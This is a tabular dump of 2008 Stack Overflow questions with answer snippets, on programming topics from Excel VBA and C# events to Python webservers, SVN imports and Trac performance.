qid int64 4 19.1M | question stringlengths 18 48.3k | answers list | date stringlengths 10 10 | metadata list |
|---|---|---|---|---|
213,360 | <p>I have a Dictionary where I hold data for movieclips, and I want the data to be garbage collected if I stop using the movieclips. I'm using the weak keys parameters, and it works perfectly with other data, however I've run into a problem. </p>
<p>This code works great:</p>
<pre><code>var mc = new MovieClip();
var ... | [
{
"answer_id": 213513,
"author": "Aaron H.",
"author_id": 16258,
"author_profile": "https://Stackoverflow.com/users/16258",
"pm_score": 2,
"selected": true,
"text": "[object MovieClip]\nhere\n [object MovieClip]\nhere\n[object MovieClip]\n <?xml version=\"1.0\" encoding=\"utf-8\"?>\n<mx:... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213360",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1815/"
] |
213,368 | <p>I want to write a script, to be packaged into a gem, which will modify its parameters and then <code>exec</code> a new ruby process with the modified params. In other words, something similar to a shell script which modifies its params and then does an <code>exec $SHELL $*</code>. In order to do this, I need a rob... | [
{
"answer_id": 1600492,
"author": "rogerdpack",
"author_id": 32453,
"author_profile": "https://Stackoverflow.com/users/32453",
"pm_score": 0,
"selected": false,
"text": "ARGV"
},
{
"answer_id": 11477062,
"author": "Avdi",
"author_id": 20487,
"author_profile": "https:/... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213368",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20487/"
] |
213,375 | <p>I am trying to create a new instance of Excel using VBA using:</p>
<pre class="lang-vb prettyprint-override"><code>Set XlApp = New Excel.Application
</code></pre>
<p>The problem is that this new instance of Excel doesn't load all the addins that load when I open Excel normally...Is there anything in the Excel Appl... | [
{
"answer_id": 214006,
"author": "Mike Rosenblum",
"author_id": 10429,
"author_profile": "https://Stackoverflow.com/users/10429",
"pm_score": 3,
"selected": false,
"text": "CreateObject(\"Excel.Application\") New Excel.Application Application.Addins.Add(string fileName)"
},
{
"an... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213375",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/5106/"
] |
213,378 | <p>I develop a number of desktop Java applications using Swing, and while Swing is quite powerful (once you get the hang of it), there are still a lot of cases where I wish some advanced component was available right out of the box.</p>
<p>For example, I'd really like to see easy-to-use components (without writing the... | [
{
"answer_id": 213590,
"author": "OscarRyz",
"author_id": 20654,
"author_profile": "https://Stackoverflow.com/users/20654",
"pm_score": 1,
"selected": false,
"text": "FileSystemView.getFileSystemView();\nIcon driveIcon = fsv.getSystemIcon( new File(\"C:\\\\\"));\n sun.awt.shell.ShellFold... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213378",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2197/"
] |
213,380 | <p>At work we have two competing theories for salts. The products I work on use something like a user name or phone number to salt the hash. Essentially something that is different for each user but is readily available to us. The other product randomly generates a salt for each user and changes each time the user c... | [
{
"answer_id": 213489,
"author": "Charles Faiga",
"author_id": 17560,
"author_profile": "https://Stackoverflow.com/users/17560",
"pm_score": 2,
"selected": false,
"text": "UserId UserName, Password\n 1 Fred Hash1 = Sha(Salt1+Password1) \n 2 Ted Hash2 = Sha(... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213380",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1942/"
] |
213,392 | <p>What are the Win32 APIs to use to programically delete files and folders? </p>
<p><strong>Edit</strong></p>
<p><a href="http://msdn.microsoft.com/en-us/library/aa363915(VS.85).aspx" rel="noreferrer">DeleteFile</a> and <a href="http://msdn.microsoft.com/en-us/library/aa365488(VS.85).aspx" rel="noreferrer">RemoveDir... | [
{
"answer_id": 214905,
"author": "liggett78",
"author_id": 19762,
"author_profile": "https://Stackoverflow.com/users/19762",
"pm_score": 3,
"selected": false,
"text": "DeleteFile RemoveDirectory"
},
{
"answer_id": 218636,
"author": "hatcat",
"author_id": 11483,
"autho... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213392",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/19072/"
] |
213,411 | <p>I have tree tables, Customer, Invoice and InvoiceRow with the standard relations. </p>
<p>These I have to export in one fixed field length file with the first two characters of each row identifying the row type. The row types have different specifications.</p>
<p>I could probably do it with a nested loop in a scri... | [
{
"answer_id": 220899,
"author": "Michael Entin",
"author_id": 19880,
"author_profile": "https://Stackoverflow.com/users/19880",
"pm_score": 1,
"selected": false,
"text": "if (this.CustomerID != InputBuffer.CustomerID) {\n this.CustomerID = InputBuffer.CustomerID;\n OutputBuffer.AddRow... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213411",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/21761/"
] |
213,421 | <p>Dependency injection seems to be a good thing. In general, should dependencies be injected at the methods that require them, or should they be injected in the contructor of the class?</p>
<p>See the samples below to demonstrate the two ways to inject the same dependency.</p>
<pre><code>//Inject the dependency int... | [
{
"answer_id": 213425,
"author": "johnstok",
"author_id": 27929,
"author_profile": "https://Stackoverflow.com/users/27929",
"pm_score": 5,
"selected": true,
"text": "class Foo {\n private final Bar _bar;\n\n Foo(Bar bar) {\n _bar=bar;\n }\n}\n"
},
{
"answer_id": 2... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213421",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/681/"
] |
213,427 | <p>Is it currently possible to translate C# code into an Abstract Syntax Tree?</p>
<p>Edit: some clarification; I don't necessarily expect the compiler to generate the AST for me - a parser would be fine, although I'd like to use something "official." Lambda expressions are unfortunately not going to be sufficient giv... | [
{
"answer_id": 213510,
"author": "Konrad Rudolph",
"author_id": 1968,
"author_profile": "https://Stackoverflow.com/users/1968",
"pm_score": 4,
"selected": false,
"text": "// Requires 'using System.Linq.Expressions;'\nExpression<Func<int, int>> f = x => x * 2;\n int var newBody = Expressi... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213427",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/16942/"
] |
213,429 | <p>I'm having trouble dynamically adding controls inside an update panel with partial postbacks. I've read many articles on dynamic controls and I understand how to add and maintain them with postbacks but most of that information doesn't apply and won't work for partial postbacks. I can't find any useful information a... | [
{
"answer_id": 214854,
"author": "sven",
"author_id": 46,
"author_profile": "https://Stackoverflow.com/users/46",
"pm_score": 5,
"selected": true,
"text": "<%@ Page Language=\"C#\" AutoEventWireup=\"true\" CodeFile=\"SampleMenu1.aspx.cs\" Inherits=\"SampleMenuPage1\" %>\n<!DOCTYPE html P... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213429",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/18785/"
] |
213,430 | <p>So, I've started to create some Ruby unit tests that use <a href="http://selenium-rc.openqa.org/" rel="nofollow noreferrer">Selenium RC</a> to test my web app directly in the browser. I'm using the <a href="http://github.com/ph7/selenium-client/tree/master" rel="nofollow noreferrer">Selenum-Client</a> for ruby. I'... | [
{
"answer_id": 216472,
"author": "Dan Fitch",
"author_id": 27614,
"author_profile": "https://Stackoverflow.com/users/27614",
"pm_score": 0,
"selected": false,
"text": "@seleniums = {}\n%w(*firefox *iexplore).each do |browser|\n puts 'creating browser ' + browser\n @seleniums[browser] =... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213430",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/13216/"
] |
213,443 | <p>Wondering if I need to do something in my swf to be able to access the assets on a different server, meaning more than just specify the url to the asset. Will flash handle the 'go get crossdomain.xml and authenticate everything' behind the scenes or do I need to include some special code beyond simply requesting the... | [
{
"answer_id": 216647,
"author": "Ronnie Liew",
"author_id": 1987,
"author_profile": "https://Stackoverflow.com/users/1987",
"pm_score": 2,
"selected": true,
"text": "http://mysubdomain.mydomain.com/fu/bar/ http://mysubdomin.mydomain.com/crossdomain.xml"
}
] | 2008/10/17 | [
"https://Stackoverflow.com/questions/213443",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/18309/"
] |
213,451 | <p>I know how to write trace statements that I can view in a webforms environment, but how do I do this in a windows forms app?</p>
<p>I am inside of a static method, and I want to display the sql query that it is generating.</p>
<p>I don't have access to messagebox.show, what are my options?</p>
| [
{
"answer_id": 213464,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 0,
"selected": false,
"text": "enum LogLevel\n{\n Info,\n Warning,\n Error\n}\n\ndelegate void OnLog (string msg, LogLevel level);\n\ninterface ILog... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213451",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/-1/"
] |
213,455 | <p>I have implemented a python webserver. Each http request spawns a new thread.
I have a requirement of caching objects in memory and since its a webserver, I want the cache to be thread safe. Is there a standard implementatin of a thread safe object cache in python? I found the following </p>
<p><a href="http://fres... | [
{
"answer_id": 17433852,
"author": "Enrique Pérez Arnaud",
"author_id": 683546,
"author_profile": "https://Stackoverflow.com/users/683546",
"pm_score": 0,
"selected": false,
"text": "from threading import local\n\nsafe = local()\n\nsafe.cache = {}\n safe.cache"
},
{
"answer_id": ... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213455",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/24798/"
] |
213,461 | <p>Is there a maximum length when using window.returnValue (variant) in a modal? </p>
<p>I am calling a modal window using showModalDialog() and returning a comma delimited string. After selecting a group of users, I am putting them into a stringbuilder to display in a literal.</p>
<pre><code>Dim strReturn As New S... | [
{
"answer_id": 213591,
"author": "Jason Bunting",
"author_id": 1790,
"author_profile": "https://Stackoverflow.com/users/1790",
"pm_score": 3,
"selected": true,
"text": "window.returnValue strUsers window.open() window.opener"
},
{
"answer_id": 213634,
"author": "Steve Wright"... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213461",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/3256/"
] |
213,465 | <p>Before you answer, this question is complicated:</p>
<ol>
<li>We are developing in asp.net / asp.net mvc / jQuery but I'm open to solutions on any platform using any framework</li>
<li>I think logic like sorting / hiding columns / re-arranging columns / validation (where it makes sense) should be on the client-side... | [
{
"answer_id": 213517,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 3,
"selected": true,
"text": "{include file = \"list_view.php\" id = \"ListView1\" data = $Data.List}\n this.ListView1 = new ListViewController({id : \"ListV... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213465",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/8360/"
] |
213,476 | <p>I'm working on trying to generate a report from a couple of database tables. The simplified version looks like this</p>
<pre><code>Campaign
----------
CampaignID
Source
-----------------------
Source_ID | Campaign_ID
Content
---------------------------------------------------------
Content_ID | Campaign_ID | Cont... | [
{
"answer_id": 213578,
"author": "Barry Brown",
"author_id": 17312,
"author_profile": "https://Stackoverflow.com/users/17312",
"pm_score": 2,
"selected": true,
"text": "CREATE TABLE pivot (count integer);\nINSERT INTO pivot VALUES (1);\nINSERT INTO pivot VALUES (2);\n SELECT campaignid, ... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213476",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/5590/"
] |
213,480 | <p>How can I bring a console application window to front in C# (especially when running the Visual Studio debugger)?</p>
| [
{
"answer_id": 213582,
"author": "Jon Skeet",
"author_id": 22656,
"author_profile": "https://Stackoverflow.com/users/22656",
"pm_score": 5,
"selected": true,
"text": "using System;\nusing System.Diagnostics;\nusing System.Runtime.InteropServices;\nusing System.Threading;\n\npublic class ... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213480",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/25571/"
] |
213,483 | <p>I am looking for a python webserver which is multithreaded instead of being multi-process (as in case of mod_python for apache). I want it to be multithreaded because I want to have an in memory object cache that will be used by various http threads. My webserver does a lot of expensive stuff and computes some large... | [
{
"answer_id": 213539,
"author": "Eli Bendersky",
"author_id": 8206,
"author_profile": "https://Stackoverflow.com/users/8206",
"pm_score": 2,
"selected": false,
"text": "BaseHttpServer BaseHttpServer threading HTTPServer ThreadingMixIn"
},
{
"answer_id": 213549,
"author": "El... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213483",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/24798/"
] |
213,506 | <p>I get the following warning when using <code>java.net.URLEncoder.encode</code>:</p>
<pre>warning: [deprecation] encode(java.lang.String)
in java.net.URLEncoder has been deprecated</pre>
<p>What should I be using instead?</p>
| [
{
"answer_id": 213519,
"author": "Will Wagner",
"author_id": 25468,
"author_profile": "https://Stackoverflow.com/users/25468",
"pm_score": 9,
"selected": true,
"text": "encode URLEncoder.encode(String, String)\n UTF-8 System.out.println(\n URLEncoder.encode(\n \"urlParameterString\",... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213506",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/338/"
] |
213,509 | <p>Is it possible to pass a App setting "string" in the web.config to a Common C# class?</p>
| [
{
"answer_id": 213516,
"author": "Ryan Rinaldi",
"author_id": 2278,
"author_profile": "https://Stackoverflow.com/users/2278",
"pm_score": 3,
"selected": false,
"text": "ConfigurationManager.AppSettings[\"KeyToSetting\"]"
},
{
"answer_id": 213603,
"author": "tvanfosson",
"... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213509",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/7911/"
] |
213,527 | <p>What is the most memory efficient way to search within a string in ANSI C? (put the code up)</p>
<p>An example where this is needed is in embedded devices that are very short on available memory but nowadays have reasonable clock cycles.</p>
| [
{
"answer_id": 213559,
"author": "warren",
"author_id": 4418,
"author_profile": "https://Stackoverflow.com/users/4418",
"pm_score": 2,
"selected": false,
"text": "char host[] = \"this is my string to search\";\nchar token[] = \"y st\";\nint k = 0;\nwhile(host[k] != '\\0'){\n for(int t=0... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213527",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/9362/"
] |
213,543 | <p>My MySQL database contains several tables using different storage engines
(specifically myisam and innodb). How can I find out which tables are
using which engine?</p>
| [
{
"answer_id": 213545,
"author": "Greg",
"author_id": 24181,
"author_profile": "https://Stackoverflow.com/users/24181",
"pm_score": 10,
"selected": true,
"text": "SHOW TABLE STATUS WHERE Name = 'xxx'\n Engine"
},
{
"answer_id": 213561,
"author": "Javier",
"author_id": 116... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213543",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/9435/"
] |
213,568 | <p>Backstory: I have a PKCS#12 (p12) certificate with a symmetric cipher (password) that I used OpenSSL to convert to a PEM; opening that as text I see it contains both a <code>BEGIN/END CERTIFICATE</code> section as well as <code>BEGIN/END RSA PRIVATE KEY</code>. The .NET Framework <code>X509Certificate</code> class ... | [
{
"answer_id": 213599,
"author": "Neil C. Obremski",
"author_id": 9642,
"author_profile": "https://Stackoverflow.com/users/9642",
"pm_score": 3,
"selected": true,
"text": "X509Certificate2"
}
] | 2008/10/17 | [
"https://Stackoverflow.com/questions/213568",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/9642/"
] |
213,576 | <p>Which is better (for the user, for longevity, for performance, for whatever) to have:</p>
<p>http://{site}/{login} e.g. <a href="http://wildobs.com/adam_jack" rel="nofollow noreferrer">http://wildobs.com/adam_jack</a></p>
<p>or</p>
<p>http://{site}/user/{login}</p>
<p>Pros of former:</p>
<ul>
<li>User feels mor... | [
{
"answer_id": 213737,
"author": "Cem Catikkas",
"author_id": 3087,
"author_profile": "https://Stackoverflow.com/users/3087",
"pm_score": 0,
"selected": false,
"text": "GET http://{site}/session/new POST http://{site}/session http://{site}/login http://{site}/session/new DELETE http://{s... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213576",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/29017/"
] |
213,584 | <p>I have written an Excel VBA macro which imports data from a HTML file (stored locally) before performing calculations on the data.</p>
<p>At the moment the HTML file is referred to with an absolute path:</p>
<pre><code>Workbooks.Open FileName:="C:\Documents and Settings\Senior Caterer\My Documents\Endurance Calcul... | [
{
"answer_id": 213602,
"author": "yalestar",
"author_id": 2177,
"author_profile": "https://Stackoverflow.com/users/2177",
"pm_score": 4,
"selected": false,
"text": "ActiveWorkbook.Path\nThisWorkbook.Path\nApp.Path\n"
},
{
"answer_id": 213818,
"author": "Mike Woodhouse",
"... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213584",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/29070/"
] |
213,625 | <p>I've got a Visual Basic App that tends to get severely messed up if the installation runs more than once. It seems the occasionally client mistakes the installer for the shortcut to it later on down the road, runs the installer again and it messes everything up. I can't for the life of me figure out why so I decid... | [
{
"answer_id": 219078,
"author": "Shane Miskin",
"author_id": 16415,
"author_profile": "https://Stackoverflow.com/users/16415",
"pm_score": 2,
"selected": false,
"text": "Private Sub Form_Load()\n If App.PrevInstance = True Then\n MsgBox \"Already running\"\n 'Do whateve... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213625",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/-1/"
] |
213,628 | <p>I have embedded a Python interpreter in a C program. Suppose the C program reads some bytes from a file into a char array and learns (somehow) that the bytes represent text with a certain encoding (e.g., ISO 8859-1, Windows-1252, or UTF-8). How do I decode the contents of this char array into a Python string?</p>
... | [
{
"answer_id": 213639,
"author": "Dan Lenski",
"author_id": 20789,
"author_profile": "https://Stackoverflow.com/users/20789",
"pm_score": 2,
"selected": false,
"text": "PyString_FromString char *cstring;\nPyObject *pystring = PyString_FromString(cstring);\n str() PyString_DecodeString"
... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213628",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/17498/"
] |
213,630 | <p>I'm writing a sample console service host and I want to plug into WCF stack to be able to print a message to console when new message arrives, even if it won't get processed by the service at the moment (because service is working on previous calls).
This is based on my assumption that messages arriving get queued b... | [
{
"answer_id": 213639,
"author": "Dan Lenski",
"author_id": 20789,
"author_profile": "https://Stackoverflow.com/users/20789",
"pm_score": 2,
"selected": false,
"text": "PyString_FromString char *cstring;\nPyObject *pystring = PyString_FromString(cstring);\n str() PyString_DecodeString"
... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213630",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/13163/"
] |
213,637 | <p>I have found that there is generally a singe type or namespace that takes in any particular enum as a parameter and as a result I have always defined those enums there. Recently though, I had a co-worker make a big deal about how that was a stupid thing to do, and you should always have an enum namespace at the root... | [
{
"answer_id": 213649,
"author": "Nicholas Mancuso",
"author_id": 8945,
"author_profile": "https://Stackoverflow.com/users/8945",
"pm_score": 1,
"selected": false,
"text": "typedef enum {\n HI,\n GOODBYE\n} msg_type;\n\ntypdef struct {\n msg_type type;\n union {\n int hivar;\n floa... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213637",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/520/"
] |
213,638 | <p>I'm using C#, .NET 3.5. I understand how to utilize events, how to declare them in my class, how to hook them from somewhere else, etc. A contrived example:</p>
<pre><code>public class MyList
{
private List<string> m_Strings = new List<string>();
public EventHandler<EventArgs> ElementAdd... | [
{
"answer_id": 213651,
"author": "Jon Skeet",
"author_id": 22656,
"author_profile": "https://Stackoverflow.com/users/22656",
"pm_score": 7,
"selected": true,
"text": "// Backing field\n// The underscores just make it simpler to see what's going on here.\n// In the rest of your source cod... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213638",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/17803/"
] |
213,646 | <p>I have some written a number of unit tests that <strong><em>test a wrapper around a FTP server API</em>.</strong></p>
<p>Both the unit tests and the FTP server are on the same machine.</p>
<p>The wrapper API gets deployed to our platform and are used in both remoting and web service scenarios. The wrapper API esse... | [
{
"answer_id": 215969,
"author": "Ates Goral",
"author_id": 23501,
"author_profile": "https://Stackoverflow.com/users/23501",
"pm_score": 2,
"selected": false,
"text": "UploadFile DownloadFile //RealServer theRealServer;\n//FtpServerIntf ftpServerIntf = theRealServer.getInterface();\n\n/... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213646",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/419/"
] |
213,657 | <p>I am using an ASP page where I have to read a CSV file and insert it into DB table "Employee". I am creating an object of TestReader. How can I write a loop to execute up to the number of rows/records of the CSV file which is being read?</p>
| [
{
"answer_id": 213739,
"author": "jeff.willis",
"author_id": 9829,
"author_profile": "https://Stackoverflow.com/users/9829",
"pm_score": 4,
"selected": false,
"text": "Dim strConn, conn, rs\n\nstrConn = \"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=\" & _\nServer.MapPath(\"path to folde... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213657",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/-1/"
] |
213,661 | <p>My application is a vb6 executable, but some newer forms in the system are written in C#. I would like to be able to set the C# form's Owner property using a handle to the main application window, so that the dialogs remain on top when tabbing back and forth between my app and other apps.</p>
<p>I can get the hwnd... | [
{
"answer_id": 213751,
"author": "Scott Dorman",
"author_id": 1559,
"author_profile": "https://Stackoverflow.com/users/1559",
"pm_score": 4,
"selected": true,
"text": "Show() ShowDialog() long NativeWindow public DialogResult ShowDialog(long hwnd)\n{\n IntPtr handle = new IntPtr(hwnd);... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213661",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/3782/"
] |
213,671 | <p>Does anyone know of an easy way to import a legacy project, whose "version control system" is a series of dated folders, into SVN, so that the history of the revisions is preserved?</p>
<p>The project I inherited was not under version control, and there are hundreds of folders, each dated like: 2006-11-26, 2006-11-... | [
{
"answer_id": 213753,
"author": "Leigh Caldwell",
"author_id": 3267,
"author_profile": "https://Stackoverflow.com/users/3267",
"pm_score": 2,
"selected": false,
"text": "for d in 200*\ndo\n cp -a $d/* svndir/\n cd svndir\n svn add *\n svn commit\n cd ..\ndone\n"
}
] | 2008/10/17 | [
"https://Stackoverflow.com/questions/213671",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/28574/"
] |
213,680 | <p>I'm trying to use jcarousel to build a container with multiple rows, I've tried a few things but have had no luck. Can anyone make any suggestions on how to create it?</p>
| [
{
"answer_id": 242866,
"author": "Sike",
"author_id": 32025,
"author_profile": "https://Stackoverflow.com/users/32025",
"pm_score": 4,
"selected": true,
"text": "moduleWidth: null,\nrows:null,\n $('.columns2.rows2 .mycarousel').jcarousel( {\n scroll: 1,\n moduleWidth: 290,\... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213680",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/16195/"
] |
213,683 | <p>I'm doing something like the following:</p>
<pre><code>SELECT * FROM table WHERE user='$user';
$myrow = fetchRow() // previously I inserted a pass to the db using base64_encode ex: WRM2gt3R=
$somepass = base64_encode($_POST['password']);
if($myrow[1] != $somepass) echo 'error';
else echo 'welcome';
</code></pre>
... | [
{
"answer_id": 213696,
"author": "Greg",
"author_id": 24181,
"author_profile": "https://Stackoverflow.com/users/24181",
"pm_score": 3,
"selected": true,
"text": "var_dump A fixed-length string that is always right-padded with spaces to the specified length when stored trim()"
},
{
... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213683",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/-1/"
] |
213,702 | <p>I am working with a set of data that looks something like the following.</p>
<blockquote>
<pre><code>StudentName | AssignmentName | Grade
---------------------------------------
StudentA | Assignment 1 | 100
StudentA | Assignment 2 | 80
StudentA | Total | 180
StudentB | Assignment 1 ... | [
{
"answer_id": 213850,
"author": "Cade Roux",
"author_id": 18255,
"author_profile": "https://Stackoverflow.com/users/18255",
"pm_score": 5,
"selected": true,
"text": "SQL SQL SQL SQL SQL"
},
{
"answer_id": 2207626,
"author": "Prasad",
"author_id": 267120,
"author_prof... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213702",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/13279/"
] |
213,735 | <p>What is the most efficient way to store large arrays (10000x100) in a database, say, hsqldb? I need to do this for a certain math program that I'm writing in java. Please help.
The whole array will be retrieved and stored often (not so much individual elements). Also, some meta-data about the array needs to be store... | [
{
"answer_id": 214547,
"author": "ddimitrov",
"author_id": 18187,
"author_profile": "https://Stackoverflow.com/users/18187",
"pm_score": 1,
"selected": false,
"text": " Name | IndexKey | Value\n------+-----------+-------\n foo | 'default' | 39 \n foo | 0:0:0 | 23\n foo | 0... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213735",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/12649/"
] |
213,750 | <p>I know that Internet Explorer has some proprietary extensions so that you can do things like create divs with a gradient background. I can't remember the element name or it's usage. Does anyone have some examples or links?</p>
| [
{
"answer_id": 213771,
"author": "vmarquez",
"author_id": 10740,
"author_profile": "https://Stackoverflow.com/users/10740",
"pm_score": 2,
"selected": false,
"text": "<body bgcolor=\"#000000\" topmargin=\"0\" leftmargin=\"0\">\n\n <div style=\"width:100%;height:100%; filter: progid:\n... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213750",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/9266/"
] |
213,761 | <p>I've seen some examples of C++ using template template parameters (that is templates which take templates as parameters) to do policy-based class design. What other uses does this technique have?</p>
| [
{
"answer_id": 213811,
"author": "Evan Teran",
"author_id": 13430,
"author_profile": "https://Stackoverflow.com/users/13430",
"pm_score": 9,
"selected": true,
"text": "template <template<class> class H, class S>\nvoid f(const H<S> &value) {\n}\n H H std::vector typedef value_type templat... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213761",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4086/"
] |
213,784 | <p>I have the following in my web.config:</p>
<pre><code><location path="RestrictedPage.aspx">
<system.web>
<authorization>
<allow roles="Group1Admin, Group3Admin, Group7Admin"/>
<deny users="*"/>
</authorization>
</system.web>
&... | [
{
"answer_id": 213815,
"author": "Kolten",
"author_id": 13959,
"author_profile": "https://Stackoverflow.com/users/13959",
"pm_score": 0,
"selected": false,
"text": "if {User.IsInRole(\"Group1Admin\"){//do stuff}\n"
},
{
"answer_id": 213853,
"author": "Ed Altorfer",
"autho... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213784",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/27482/"
] |
213,798 | <p>I've got some experience with <a href="http://en.wikipedia.org/wiki/Bash_%28Unix_shell%29" rel="noreferrer">Bash</a>, which I don't mind, but now that I'm doing a lot of Windows development I'm needing to do basic stuff/write basic scripts using
the Windows command-line language. For some reason said language reall... | [
{
"answer_id": 213827,
"author": "Greg Hewgill",
"author_id": 893,
"author_profile": "https://Stackoverflow.com/users/893",
"pm_score": 2,
"selected": false,
"text": "make"
},
{
"answer_id": 216285,
"author": "e-satis",
"author_id": 9951,
"author_profile": "https://St... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213798",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1512/"
] |
213,801 | <p>I need to get a list of all documents in a site collection, which I believe I can do with either the alldocs table or the alluserdata table (MOSS 2007 SP1) but do not see how I can get the author information for the document. I do not need the contents of the document (e.g. AllDocStreams content)</p>
<p><strong>S... | [
{
"answer_id": 726063,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 3,
"selected": false,
"text": "Select * \nFrom your_content_database.dbo.AllDocs With (NoLock)\n"
},
{
"answer_id": 726633,
"author": "Community"... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213801",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/25642/"
] |
213,814 | <p>I'm writing an intranet application for a client and I want to give them the ability to configure through an admin interface, which users and user groups can access certain areas. What I'd like to know is the best way of storing the reference to the user or group that is assigned to an area of the intranet. </p>
<p... | [
{
"answer_id": 726063,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 3,
"selected": false,
"text": "Select * \nFrom your_content_database.dbo.AllDocs With (NoLock)\n"
},
{
"answer_id": 726633,
"author": "Community"... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213814",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/29086/"
] |
213,816 | <p>I want to check for duplicated words right next to each other, but even if there is punctuation in between.</p>
<p>For example:</p>
<pre><code>Vivamus Vivamus diam, diam, Vivamus Vivamus diam, diam Vivamus
</code></pre>
<p>There should be four distinct hits here.</p>
<p>I can't figure out why this isn't working. Why... | [
{
"answer_id": 213824,
"author": "TJ L",
"author_id": 12605,
"author_profile": "https://Stackoverflow.com/users/12605",
"pm_score": 4,
"selected": true,
"text": "(?: (\\w+)\\W+\\1\n"
},
{
"answer_id": 213922,
"author": "Jonathan Leffler",
"author_id": 15168,
"author_p... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213816",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/730/"
] |
213,838 | <p>I have noticed that my particular instance of Trac is not running quickly and has big lags. This is at the very onset of a project, so not much is in Trac (except for plugins and code loaded into SVN).</p>
<p><strong>Setup Info:</strong> This is via a SELinux system hosted by WebFaction. It is behind Apache, and ... | [
{
"answer_id": 214162,
"author": "Justin Voss",
"author_id": 5616,
"author_profile": "https://Stackoverflow.com/users/5616",
"pm_score": 4,
"selected": true,
"text": "mod_python mod_python"
},
{
"answer_id": 215084,
"author": "Pat Notz",
"author_id": 825,
"author_prof... | 2008/10/17 | [
"https://Stackoverflow.com/questions/213838",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/13990/"
] |
213,845 | <p>I have a HTML file that has code similar to the following.</p>
<pre><code><table>
<tr>
<td id="MyCell">Hello World</td>
</tr>
